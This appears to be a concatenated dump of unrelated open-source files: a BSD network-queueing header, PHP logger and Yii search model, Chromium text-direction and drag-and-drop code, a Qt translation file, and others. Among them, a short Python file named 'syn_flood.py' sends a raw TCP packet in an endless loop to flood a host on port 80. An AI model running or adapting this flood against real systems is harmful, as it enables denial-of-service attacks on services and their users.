struct {
struct in_addr ip_src;
struct in_addr ip_dst;
} _ip;
#ifdef INET6
struct {
struct in6_addr ip6_src;
struct in6_addr ip6_dst;
} _ip6;
#endif
} flow_un;
};
#define flow_ip flow_un._ip
#define flow_ip6 flow_un._ip6
/* flowvalve entry */
struct fve {
TAILQ_ENTRY(fve) fve_lru; /* for LRU list */
enum fv_state { Green, Red } fve_state;
int fve_p; /* scaled average drop rate */
int fve_f; /* scaled average fraction */
int fve_count; /* counter to update f */
u_int fve_ifseq; /* ifseq at the last update of f */
struct timeval fve_lastdrop; /* timestamp of the last drop */
struct fv_flow fve_flow; /* unique address pair */
};
/* flowvalve structure */
struct flowvalve {
u_int fv_ifseq; /* packet sequence number */
int fv_flows; /* number of valid flows in the flowlist */
int fv_pthresh; /* drop rate threshold */
TAILQ_HEAD(fv_flowhead, fve) fv_flowlist; /* LRU list */
struct fve *fv_fves; /* pointer to the allocated fves */
int *fv_p2ftab; /* drop rate to fraction table */
struct {
u_int pass; /* # of packets that have the fve
but aren't predropped */
u_int predrop; /* # of packets predropped */
u_int alloc; /* # of fves assigned */
u_int escape; /* # of fves escaped */
} fv_stats;
};
#endif /* _KERNEL */
#endif /* _ALTQ_ALTQ_FLOWVALVE_H_ */
| bsd-3-clause |
Digoss/funny_python | syn_flood.py | 310 | from tcp_ip_raw_socket import *
def main():
fd = createSocket()
pkt = buildPacket("10.1.1.2", "10.1.1.1", 54321, 80, "Hello, how are you?")
try:
print "Starting flood"
while True:
sendPacket(fd, pkt, "10.1.1.2")
except KeyboardInterrupt:
print "Closing..."
if __name__ == "__main__":
main() | bsd-3-clause |
grrr-amsterdam/garp3 | library/Garp/Log.php | 1317 | <?php
/**
* Garp_Log
* class description
*
* @package Garp
* @author Harmen Janssen <[email protected]>
*/
class Garp_Log extends Zend_Log {
/**
* Shortcut to fetching a configured logger instance
*
* @param array|Zend_Config $config Array or instance of Zend_Config
* @return Zend_Log
*/
static public function factory($config = array()) {
if (is_string($config)) {
// Assume $config is a filename
$filename = $config;
$config = array(
'timestampFormat' => 'Y-m-d',
array(
'writerName' => 'Stream',
'writerParams' => array(
'stream' => self::_getLoggingDirectory() . DIRECTORY_SEPARATOR . $filename
)
)
);
}
return parent::factory($config);
}
static protected function _getLoggingDirectory() {
$target = APPLICATION_PATH . '/data/logs/';
if (Zend_Registry::isRegistered('config')
&& !empty(Zend_Registry::get('config')->logging->directory)
) {
$target = Zend_Registry::get('config')->logging->directory;
}
if (!is_dir($target)) {
@mkdir($target);
}
return $target;
}
}
| bsd-3-clause |
zengjichuan/jetuum | src/petuum_ps_common/include/constants.hpp | 1709 | // Copyright (c) 2014, Sailing Lab
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// 3. Neither the name of the <ORGANIZATION> nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
#pragma once
namespace petuum {
const size_t kNumBitsPerByte = 8;
const size_t kTwoToPowerTen = 1024;
const float kCuckooExpansionFactor = 1.428;
}
| bsd-3-clause |
cpforbes/lumina | src-qt5/desktop-utils/lumina-calculator/i18n/l-calc_el.ts | 6376 | <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE TS>
<TS version="2.1" language="el_GR">
<context>
<name>XDGDesktopList</name>
<message>
<location filename="../../../core/libLumina/LuminaXDG.cpp" line="608"/>
<source>Multimedia</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../core/libLumina/LuminaXDG.cpp" line="609"/>
<source>Development</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../core/libLumina/LuminaXDG.cpp" line="610"/>
<source>Education</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../core/libLumina/LuminaXDG.cpp" line="611"/>
<source>Games</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../core/libLumina/LuminaXDG.cpp" line="612"/>
<source>Graphics</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../core/libLumina/LuminaXDG.cpp" line="613"/>
<source>Network</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../core/libLumina/LuminaXDG.cpp" line="614"/>
<source>Office</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../core/libLumina/LuminaXDG.cpp" line="615"/>
<source>Science</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../core/libLumina/LuminaXDG.cpp" line="616"/>
<source>Settings</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../core/libLumina/LuminaXDG.cpp" line="617"/>
<source>System</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../core/libLumina/LuminaXDG.cpp" line="618"/>
<source>Utility</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../core/libLumina/LuminaXDG.cpp" line="619"/>
<source>Wine</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../core/libLumina/LuminaXDG.cpp" line="620"/>
<source>Unsorted</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>mainUI</name>
<message>
<location filename="../mainUI.ui" line="14"/>
<location filename="../mainUI.cpp" line="53"/>
<source>Calculator</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.ui" line="657"/>
<source>Advanced Operations</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="83"/>
<source>Percentage %1</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="85"/>
<source>Power %1</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="87"/>
<source>Base-10 Exponential %1</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="89"/>
<source>Exponential %1</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="91"/>
<source>Constant Pi %1</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="94"/>
<source>Square Root %1</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="96"/>
<source>Logarithm %1</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="98"/>
<source>Natural Log %1</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="101"/>
<source>Sine %1</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="103"/>
<source>Cosine %1</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="105"/>
<source>Tangent %1</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="108"/>
<source>Arc Sine %1</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="110"/>
<source>Arc Cosine %1</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="112"/>
<source>Arc Tangent %1</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="115"/>
<source>Hyperbolic Sine %1</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="117"/>
<source>Hyperbolic Cosine %1</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="119"/>
<source>Hyperbolic Tangent %1</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../mainUI.cpp" line="182"/>
<source>Save Calculator History</source>
<translation type="unfinished"></translation>
</message>
</context>
</TS>
| bsd-3-clause |
ChromiumWebApps/chromium | base/i18n/rtl.cc | 13232 | // Copyright (c) 2011 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "base/i18n/rtl.h"
#include "base/files/file_path.h"
#include "base/logging.h"
#include "base/strings/string_util.h"
#include "base/strings/sys_string_conversions.h"
#include "base/strings/utf_string_conversions.h"
#include "third_party/icu/source/common/unicode/locid.h"
#include "third_party/icu/source/common/unicode/uchar.h"
#include "third_party/icu/source/common/unicode/uscript.h"
#include "third_party/icu/source/i18n/unicode/coll.h"
#if defined(TOOLKIT_GTK)
#include <gtk/gtk.h>
#endif
namespace {
// Extract language, country and variant, but ignore keywords. For example,
// en-US, ca@valencia, ca-ES@valencia.
std::string GetLocaleString(const icu::Locale& locale) {
const char* language = locale.getLanguage();
const char* country = locale.getCountry();
const char* variant = locale.getVariant();
std::string result =
(language != NULL && *language != '\0') ? language : "und";
if (country != NULL && *country != '\0') {
result += '-';
result += country;
}
if (variant != NULL && *variant != '\0') {
std::string variant_str(variant);
StringToLowerASCII(&variant_str);
result += '@' + variant_str;
}
return result;
}
// Returns LEFT_TO_RIGHT or RIGHT_TO_LEFT if |character| has strong
// directionality, returns UNKNOWN_DIRECTION if it doesn't. Please refer to
// http://unicode.org/reports/tr9/ for more information.
base::i18n::TextDirection GetCharacterDirection(UChar32 character) {
// Now that we have the character, we use ICU in order to query for the
// appropriate Unicode BiDi character type.
int32_t property = u_getIntPropertyValue(character, UCHAR_BIDI_CLASS);
if ((property == U_RIGHT_TO_LEFT) ||
(property == U_RIGHT_TO_LEFT_ARABIC) ||
(property == U_RIGHT_TO_LEFT_EMBEDDING) ||
(property == U_RIGHT_TO_LEFT_OVERRIDE)) {
return base::i18n::RIGHT_TO_LEFT;
} else if ((property == U_LEFT_TO_RIGHT) ||
(property == U_LEFT_TO_RIGHT_EMBEDDING) ||
(property == U_LEFT_TO_RIGHT_OVERRIDE)) {
return base::i18n::LEFT_TO_RIGHT;
}
return base::i18n::UNKNOWN_DIRECTION;
}
} // namespace
namespace base {
namespace i18n {
// Represents the locale-specific ICU text direction.
static TextDirection g_icu_text_direction = UNKNOWN_DIRECTION;
// Convert the ICU default locale to a string.
std::string GetConfiguredLocale() {
return GetLocaleString(icu::Locale::getDefault());
}
// Convert the ICU canonicalized locale to a string.
std::string GetCanonicalLocale(const char* locale) {
return GetLocaleString(icu::Locale::createCanonical(locale));
}
// Convert Chrome locale name to ICU locale name
std::string ICULocaleName(const std::string& locale_string) {
// If not Spanish, just return it.
if (locale_string.substr(0, 2) != "es")
return locale_string;
// Expand es to es-ES.
if (LowerCaseEqualsASCII(locale_string, "es"))
return "es-ES";
// Map es-419 (Latin American Spanish) to es-FOO depending on the system
// locale. If it's es-RR other than es-ES, map to es-RR. Otherwise, map
// to es-MX (the most populous in Spanish-speaking Latin America).
if (LowerCaseEqualsASCII(locale_string, "es-419")) {
const icu::Locale& locale = icu::Locale::getDefault();
std::string language = locale.getLanguage();
const char* country = locale.getCountry();
if (LowerCaseEqualsASCII(language, "es") &&
!LowerCaseEqualsASCII(country, "es")) {
language += '-';
language += country;
return language;
}
return "es-MX";
}
// Currently, Chrome has only "es" and "es-419", but later we may have
// more specific "es-RR".
return locale_string;
}
void SetICUDefaultLocale(const std::string& locale_string) {
icu::Locale locale(ICULocaleName(locale_string).c_str());
UErrorCode error_code = U_ZERO_ERROR;
icu::Locale::setDefault(locale, error_code);
// This return value is actually bogus because Locale object is
// an ID and setDefault seems to always succeed (regardless of the
// presence of actual locale data). However,
// it does not hurt to have it as a sanity check.
DCHECK(U_SUCCESS(error_code));
g_icu_text_direction = UNKNOWN_DIRECTION;
}
bool IsRTL() {
#if defined(TOOLKIT_GTK)
GtkTextDirection gtk_dir = gtk_widget_get_default_direction();
return gtk_dir == GTK_TEXT_DIR_RTL;
#else
return ICUIsRTL();
#endif
}
bool ICUIsRTL() {
if (g_icu_text_direction == UNKNOWN_DIRECTION) {
const icu::Locale& locale = icu::Locale::getDefault();
g_icu_text_direction = GetTextDirectionForLocale(locale.getName());
}
return g_icu_text_direction == RIGHT_TO_LEFT;
}
TextDirection GetTextDirectionForLocale(const char* locale_name) {
UErrorCode status = U_ZERO_ERROR;
ULayoutType layout_dir = uloc_getCharacterOrientation(locale_name, &status);
DCHECK(U_SUCCESS(status));
// Treat anything other than RTL as LTR.
return (layout_dir != ULOC_LAYOUT_RTL) ? LEFT_TO_RIGHT : RIGHT_TO_LEFT;
}
TextDirection GetFirstStrongCharacterDirection(const string16& text) {
const UChar* string = text.c_str();
size_t length = text.length();
size_t position = 0;
while (position < length) {
UChar32 character;
size_t next_position = position;
U16_NEXT(string, next_position, length, character);
TextDirection direction = GetCharacterDirection(character);
if (direction != UNKNOWN_DIRECTION)
return direction;
position = next_position;
}
return LEFT_TO_RIGHT;
}
TextDirection GetLastStrongCharacterDirection(const string16& text) {
const UChar* string = text.c_str();
size_t position = text.length();
while (position > 0) {
UChar32 character;
size_t prev_position = position;
U16_PREV(string, 0, prev_position, character);
TextDirection direction = GetCharacterDirection(character);
if (direction != UNKNOWN_DIRECTION)
return direction;
position = prev_position;
}
return LEFT_TO_RIGHT;
}
TextDirection GetStringDirection(const string16& text) {
const UChar* string = text.c_str();
size_t length = text.length();
size_t position = 0;
TextDirection result(UNKNOWN_DIRECTION);
while (position < length) {
UChar32 character;
size_t next_position = position;
U16_NEXT(string, next_position, length, character);
TextDirection direction = GetCharacterDirection(character);
if (direction != UNKNOWN_DIRECTION) {
if (result != UNKNOWN_DIRECTION && result != direction)
return UNKNOWN_DIRECTION;
result = direction;
}
position = next_position;
}
// Handle the case of a string not containing any strong directionality
// characters defaulting to LEFT_TO_RIGHT.
if (result == UNKNOWN_DIRECTION)
return LEFT_TO_RIGHT;
return result;
}
#if defined(OS_WIN)
bool AdjustStringForLocaleDirection(string16* text) {
if (!IsRTL() || text->empty())
return false;
// Marking the string as LTR if the locale is RTL and the string does not
// contain strong RTL characters. Otherwise, mark the string as RTL.
bool has_rtl_chars = StringContainsStrongRTLChars(*text);
if (!has_rtl_chars)
WrapStringWithLTRFormatting(text);
else
WrapStringWithRTLFormatting(text);
return true;
}
bool UnadjustStringForLocaleDirection(string16* text) {
if (!IsRTL() || text->empty())
return false;
*text = StripWrappingBidiControlCharacters(*text);
return true;
}
#else
bool AdjustStringForLocaleDirection(string16* text) {
// On OS X & GTK the directionality of a label is determined by the first
// strongly directional character.
// However, we want to make sure that in an LTR-language-UI all strings are
// left aligned and vice versa.
// A problem can arise if we display a string which starts with user input.
// User input may be of the opposite directionality to the UI. So the whole
// string will be displayed in the opposite directionality, e.g. if we want to
// display in an LTR UI [such as US English]:
//
// EMAN_NOISNETXE is now installed.
//
// Since EXTENSION_NAME begins with a strong RTL char, the label's
// directionality will be set to RTL and the string will be displayed visually
// as:
//
// .is now installed EMAN_NOISNETXE
//
// In order to solve this issue, we prepend an LRM to the string. An LRM is a
// strongly directional LTR char.
// We also append an LRM at the end, which ensures that we're in an LTR
// context.
// Unlike Windows, Linux and OS X can correctly display RTL glyphs out of the
// box so there is no issue with displaying zero-width bidi control characters
// on any system. Thus no need for the !IsRTL() check here.
if (text->empty())
return false;
bool ui_direction_is_rtl = IsRTL();
bool has_rtl_chars = StringContainsStrongRTLChars(*text);
if (!ui_direction_is_rtl && has_rtl_chars) {
WrapStringWithRTLFormatting(text);
text->insert(0U, 1U, kLeftToRightMark);
text->push_back(kLeftToRightMark);
} else if (ui_direction_is_rtl && has_rtl_chars) {
WrapStringWithRTLFormatting(text);
text->insert(0U, 1U, kRightToLeftMark);
text->push_back(kRightToLeftMark);
} else if (ui_direction_is_rtl) {
WrapStringWithLTRFormatting(text);
text->insert(0U, 1U, kRightToLeftMark);
text->push_back(kRightToLeftMark);
} else {
return false;
}
return true;
}
bool UnadjustStringForLocaleDirection(string16* text) {
if (text->empty())
return false;
size_t begin_index = 0;
char16 begin = text->at(begin_index);
if (begin == kLeftToRightMark ||
begin == kRightToLeftMark) {
++begin_index;
}
size_t end_index = text->length() - 1;
char16 end = text->at(end_index);
if (end == kLeftToRightMark ||
end == kRightToLeftMark) {
--end_index;
}
string16 unmarked_text =
text->substr(begin_index, end_index - begin_index + 1);
*text = StripWrappingBidiControlCharacters(unmarked_text);
return true;
}
#endif // !OS_WIN
bool StringContainsStrongRTLChars(const string16& text) {
const UChar* string = text.c_str();
size_t length = text.length();
size_t position = 0;
while (position < length) {
UChar32 character;
size_t next_position = position;
U16_NEXT(string, next_position, length, character);
// Now that we have the character, we use ICU in order to query for the
// appropriate Unicode BiDi character type.
int32_t property = u_getIntPropertyValue(character, UCHAR_BIDI_CLASS);
if ((property == U_RIGHT_TO_LEFT) || (property == U_RIGHT_TO_LEFT_ARABIC))
return true;
position = next_position;
}
return false;
}
void WrapStringWithLTRFormatting(string16* text) {
if (text->empty())
return;
// Inserting an LRE (Left-To-Right Embedding) mark as the first character.
text->insert(0U, 1U, kLeftToRightEmbeddingMark);
// Inserting a PDF (Pop Directional Formatting) mark as the last character.
text->push_back(kPopDirectionalFormatting);
}
void WrapStringWithRTLFormatting(string16* text) {
if (text->empty())
return;
// Inserting an RLE (Right-To-Left Embedding) mark as the first character.
text->insert(0U, 1U, kRightToLeftEmbeddingMark);
// Inserting a PDF (Pop Directional Formatting) mark as the last character.
text->push_back(kPopDirectionalFormatting);
}
void WrapPathWithLTRFormatting(const FilePath& path,
string16* rtl_safe_path) {
// Wrap the overall path with LRE-PDF pair which essentialy marks the
// string as a Left-To-Right string.
// Inserting an LRE (Left-To-Right Embedding) mark as the first character.
rtl_safe_path->push_back(kLeftToRightEmbeddingMark);
#if defined(OS_MACOSX)
rtl_safe_path->append(UTF8ToUTF16(path.value()));
#elif defined(OS_WIN)
rtl_safe_path->append(path.value());
#else // defined(OS_POSIX) && !defined(OS_MACOSX)
std::wstring wide_path = base::SysNativeMBToWide(path.value());
rtl_safe_path->append(WideToUTF16(wide_path));
#endif
// Inserting a PDF (Pop Directional Formatting) mark as the last character.
rtl_safe_path->push_back(kPopDirectionalFormatting);
}
string16 GetDisplayStringInLTRDirectionality(const string16& text) {
// Always wrap the string in RTL UI (it may be appended to RTL string).
// Also wrap strings with an RTL first strong character direction in LTR UI.
if (IsRTL() || GetFirstStrongCharacterDirection(text) == RIGHT_TO_LEFT) {
string16 text_mutable(text);
WrapStringWithLTRFormatting(&text_mutable);
return text_mutable;
}
return text;
}
string16 StripWrappingBidiControlCharacters(const string16& text) {
if (text.empty())
return text;
size_t begin_index = 0;
char16 begin = text[begin_index];
if (begin == kLeftToRightEmbeddingMark ||
begin == kRightToLeftEmbeddingMark ||
begin == kLeftToRightOverride ||
begin == kRightToLeftOverride)
++begin_index;
size_t end_index = text.length() - 1;
if (text[end_index] == kPopDirectionalFormatting)
--end_index;
return text.substr(begin_index, end_index - begin_index + 1);
}
} // namespace i18n
} // namespace base
| bsd-3-clause |
snyang/AppGene | Development/AppGene/AppGene.Common.Entities.Infrastructure/Inferences/ReferencePropertyGetter.cs | 2191 | using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Diagnostics;
using System.Reflection;
namespace AppGene.Common.Entities.Infrastructure.Inferences
{
public class ReferencePropertyGetter
{
/// <summary>
/// Gets the reference columns.
/// </summary>
/// <param name="context">The entity analysis context.</param>
/// <returns>The reference columns.</returns>
public virtual IList<PropertyInfo> GetProperties(EntityAnalysisContext context)
{
var displayProperties = new List<PropertyInfo>();
// Find sort columns from DisplayColumnAttributes
var displayColumnAttribute = context.EntityType.GetCustomAttribute<DisplayColumnAttribute>();
if (displayColumnAttribute != null)
{
string[] displayColumns = displayColumnAttribute.DisplayColumn.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries);
foreach (var column in displayColumns)
{
var columnName = column.Trim();
PropertyInfo displayProperty = context.EntityType.GetProperty(columnName);
Debug.Assert(displayProperty != null);
displayProperties.Add(displayProperty);
}
if (displayProperties.Count > 0)
{
// Return
return displayProperties;
}
}
// Find display columns by characteristic
string[] displayCharacteristic = new string[] { "Code", "Name" };
var properties = EntityAnalysisHelper.GetCharacteristicPropertyInfo(context.EntityType, displayCharacteristic);
foreach (var character in displayCharacteristic)
{
PropertyInfo property;
if (properties.TryGetValue(character, out property))
{
displayProperties.Add(property);
}
}
return displayProperties;
}
}
} | bsd-3-clause |
esclkm/hod | plugins/landingextrapage/landingextrapage.page.add.tags.php | 568 | <?php
/**
* [BEGIN_COT_EXT]
* Hooks=page.add.tags, page.edit.tags
* [END_COT_EXT]
*/
/**
* plugin landingextrapage for Cotonti Siena
*
* @package landingextrapage
* @version 1.0.0
* @author esclkm
* @copyright
* @license BSD
* */
// Generated by Cotonti developer tool (littledev.ru)
defined('COT_CODE') or die('Wrong URL.');
require_once cot_langfile('landingextrapage', 'plug');
require_once cot_incfile('landingextrapage', 'plug');
$lep = new landingextrapage($pag['page_landingextrapage']);
$t->assign('LANDINGINDEXPAGE', $lep->editform());
| bsd-3-clause |
rob94/BlogYii | backend/models/PostSearch.php | 2100 | <?php
namespace backend\models;
use Yii;
use yii\base\Model;
use yii\data\ActiveDataProvider;
use common\models\Post;
/**
* PostSearch represents the model behind the search form about `common\models\Post`.
*/
class PostSearch extends Post
{
/**
* @inheritdoc
*/
public function rules()
{
return [
[['id', 'created_by', 'blog_category_id', 'status', 'comment_status', 'comment_count', 'views'], 'integer'],
[['title', 'excerpt', 'body', 'publish_up', 'publish_down'], 'safe'],
];
}
/**
* @inheritdoc
*/
public function scenarios()
{
// bypass scenarios() implementation in the parent class
return Model::scenarios();
}
/**
* Creates data provider instance with search query applied
*
* @param array $params
*
* @return ActiveDataProvider
*/
public function search($params)
{
$query = Post::find();
// add conditions that should always apply here
$dataProvider = new ActiveDataProvider([
'query' => $query,
]);
$this->load($params);
if (!$this->validate()) {
// uncomment the following line if you do not want to return any records when validation fails
// $query->where('0=1');
return $dataProvider;
}
// grid filtering conditions
$query->andFilterWhere([
'id' => $this->id,
'created_by' => $this->created_by,
'blog_category_id' => $this->blog_category_id,
'status' => $this->status,
'comment_status' => $this->comment_status,
'comment_count' => $this->comment_count,
'views' => $this->views,
'publish_up' => $this->publish_up,
'publish_down' => $this->publish_down,
]);
$query->andFilterWhere(['like', 'title', $this->title])
->andFilterWhere(['like', 'excerpt', $this->excerpt])
->andFilterWhere(['like', 'body', $this->body]);
return $dataProvider;
}
}
| bsd-3-clause |
N1kolayS/PCExpert | backend/views/filial/index.php | 1530 | <?php
use yii\helpers\Html;
use yii\grid\GridView;
/* @var $this yii\web\View */
/* @var $searchModel backend\models\FilialSearch */
/* @var $dataProvider yii\data\ActiveDataProvider */
$this->title = 'Филилы организаций';
$this->params['breadcrumbs'][] = $this->title;
if (Yii::$app->user->can('manager'))
$template = '{view} - {update}';
else
$template = '{view}';
?>
<div class="filial-index">
<h1><?= Html::encode($this->title) ?></h1>
<?php // echo $this->render('_search', ['model' => $searchModel]); ?>
<p>
<?php if (Yii::$app->user->can('manager')) echo Html::a('Создать филиал', ['create'], ['class' => 'btn btn-success']) ?>
</p>
<?= GridView::widget([
'dataProvider' => $dataProvider,
'filterModel' => $searchModel,
'columns' => [
['class' => 'yii\grid\SerialColumn'],
[
'attribute' => 'idCompany',
'value' => 'idCompany.name',
// 'filter'=>$searchModel->getAllCompanyGrid(),
],
[
'attribute' => 'idTown',
'value' => 'idTown.name',
// 'filter'=>$searchModel->getAllPlacetownGrid(),
],
'address',
// 'info',
['class' => 'yii\grid\ActionColumn',
'header'=>'Действия',
'headerOptions' => ['width' => '80'],
'template' => $template,
],
],
]); ?>
</div> | bsd-3-clause |
nacl-webkit/chrome_deps | ui/base/dragdrop/os_exchange_data_provider_win.cc | 33704 | // Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "ui/base/dragdrop/os_exchange_data_provider_win.h"
#include <algorithm>
#include <vector>
#include "base/file_path.h"
#include "base/i18n/file_util_icu.h"
#include "base/logging.h"
#include "base/memory/scoped_handle.h"
#include "base/pickle.h"
#include "base/stl_util.h"
#include "base/utf_string_conversions.h"
#include "base/win/scoped_hglobal.h"
#include "googleurl/src/gurl.h"
#include "grit/ui_strings.h"
#include "net/base/net_util.h"
#include "ui/base/clipboard/clipboard_util_win.h"
#include "ui/base/l10n/l10n_util.h"
namespace ui {
// Creates a new STGMEDIUM object to hold the specified text. The caller
// owns the resulting object. The "Bytes" version does not NULL terminate, the
// string version does.
static STGMEDIUM* GetStorageForBytes(const char* data, size_t bytes);
static STGMEDIUM* GetStorageForString16(const string16& data);
static STGMEDIUM* GetStorageForString(const std::string& data);
// Creates the contents of an Internet Shortcut file for the given URL.
static void GetInternetShortcutFileContents(const GURL& url, std::string* data);
// Creates a valid file name given a suggested title and URL.
static void CreateValidFileNameFromTitle(const GURL& url,
const string16& title,
string16* validated);
// Creates a new STGMEDIUM object to hold a file.
static STGMEDIUM* GetStorageForFileName(const FilePath& path);
// Creates a File Descriptor for the creation of a file to the given URL and
// returns a handle to it.
static STGMEDIUM* GetStorageForFileDescriptor(const FilePath& path);
///////////////////////////////////////////////////////////////////////////////
// FormatEtcEnumerator
//
// This object implements an enumeration interface. The existence of an
// implementation of this interface is exposed to clients through
// OSExchangeData's EnumFormatEtc method. Our implementation is nobody's
// business but our own, so it lives in this file.
//
// This Windows API is truly a gem. It wants to be an enumerator but assumes
// some sort of sequential data (why not just use an array?). See comments
// throughout.
//
class FormatEtcEnumerator : public IEnumFORMATETC {
public:
FormatEtcEnumerator(DataObjectImpl::StoredData::const_iterator begin,
DataObjectImpl::StoredData::const_iterator end);
~FormatEtcEnumerator();
// IEnumFORMATETC implementation:
HRESULT __stdcall Next(
ULONG count, FORMATETC* elements_array, ULONG* elements_fetched);
HRESULT __stdcall Skip(ULONG skip_count);
HRESULT __stdcall Reset();
HRESULT __stdcall Clone(IEnumFORMATETC** clone);
// IUnknown implementation:
HRESULT __stdcall QueryInterface(const IID& iid, void** object);
ULONG __stdcall AddRef();
ULONG __stdcall Release();
private:
// This can only be called from |CloneFromOther|, since it initializes the
// contents_ from the other enumerator's contents.
FormatEtcEnumerator() : cursor_(0), ref_count_(0) {
}
// Clone a new FormatEtc from another instance of this enumeration.
static FormatEtcEnumerator* CloneFromOther(const FormatEtcEnumerator* other);
private:
// We are _forced_ to use a vector as our internal data model as Windows'
// retarded IEnumFORMATETC API assumes a deterministic ordering of elements
// through methods like Next and Skip. This exposes the underlying data
// structure to the user. Bah.
std::vector<FORMATETC*> contents_;
// The cursor of the active enumeration - an index into |contents_|.
size_t cursor_;
LONG ref_count_;
DISALLOW_COPY_AND_ASSIGN(FormatEtcEnumerator);
};
// Safely makes a copy of all of the relevant bits of a FORMATETC object.
static void CloneFormatEtc(FORMATETC* source, FORMATETC* clone) {
*clone = *source;
if (source->ptd) {
source->ptd =
static_cast<DVTARGETDEVICE*>(CoTaskMemAlloc(sizeof(DVTARGETDEVICE)));
*(clone->ptd) = *(source->ptd);
}
}
FormatEtcEnumerator::FormatEtcEnumerator(
DataObjectImpl::StoredData::const_iterator start,
DataObjectImpl::StoredData::const_iterator end)
: ref_count_(0), cursor_(0) {
// Copy FORMATETC data from our source into ourselves.
while (start != end) {
FORMATETC* format_etc = new FORMATETC;
CloneFormatEtc(&(*start)->format_etc, format_etc);
contents_.push_back(format_etc);
++start;
}
}
FormatEtcEnumerator::~FormatEtcEnumerator() {
STLDeleteContainerPointers(contents_.begin(), contents_.end());
}
STDMETHODIMP FormatEtcEnumerator::Next(
ULONG count, FORMATETC* elements_array, ULONG* elements_fetched) {
// MSDN says |elements_fetched| is allowed to be NULL if count is 1.
if (!elements_fetched)
DCHECK_EQ(count, 1ul);
// This method copies count elements into |elements_array|.
ULONG index = 0;
while (cursor_ < contents_.size() && index < count) {
CloneFormatEtc(contents_[cursor_], &elements_array[index]);
++cursor_;
++index;
}
// The out param is for how many we actually copied.
if (elements_fetched)
*elements_fetched = index;
// If the two don't agree, then we fail.
return index == count ? S_OK : S_FALSE;
}
STDMETHODIMP FormatEtcEnumerator::Skip(ULONG skip_count) {
cursor_ += skip_count;
// MSDN implies it's OK to leave the enumerator trashed.
// "Whatever you say, boss"
return cursor_ <= contents_.size() ? S_OK : S_FALSE;
}
STDMETHODIMP FormatEtcEnumerator::Reset() {
cursor_ = 0;
return S_OK;
}
STDMETHODIMP FormatEtcEnumerator::Clone(IEnumFORMATETC** clone) {
// Clone the current enumerator in its exact state, including cursor.
FormatEtcEnumerator* e = CloneFromOther(this);
e->AddRef();
*clone = e;
return S_OK;
}
STDMETHODIMP FormatEtcEnumerator::QueryInterface(const IID& iid,
void** object) {
*object = NULL;
if (IsEqualIID(iid, IID_IUnknown) || IsEqualIID(iid, IID_IEnumFORMATETC)) {
*object = this;
} else {
return E_NOINTERFACE;
}
AddRef();
return S_OK;
